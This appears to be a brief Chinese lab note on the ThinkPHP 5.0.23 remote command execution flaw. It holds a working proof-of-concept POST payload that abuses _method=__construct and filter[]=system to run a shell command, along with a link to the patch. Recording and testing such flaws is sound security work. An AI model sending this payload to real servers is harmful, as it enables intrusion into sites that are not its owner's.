ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
poc测试
http://192.168.2.109:8080/index.php?s=captcha
POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
5.0.23rce
补丁
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003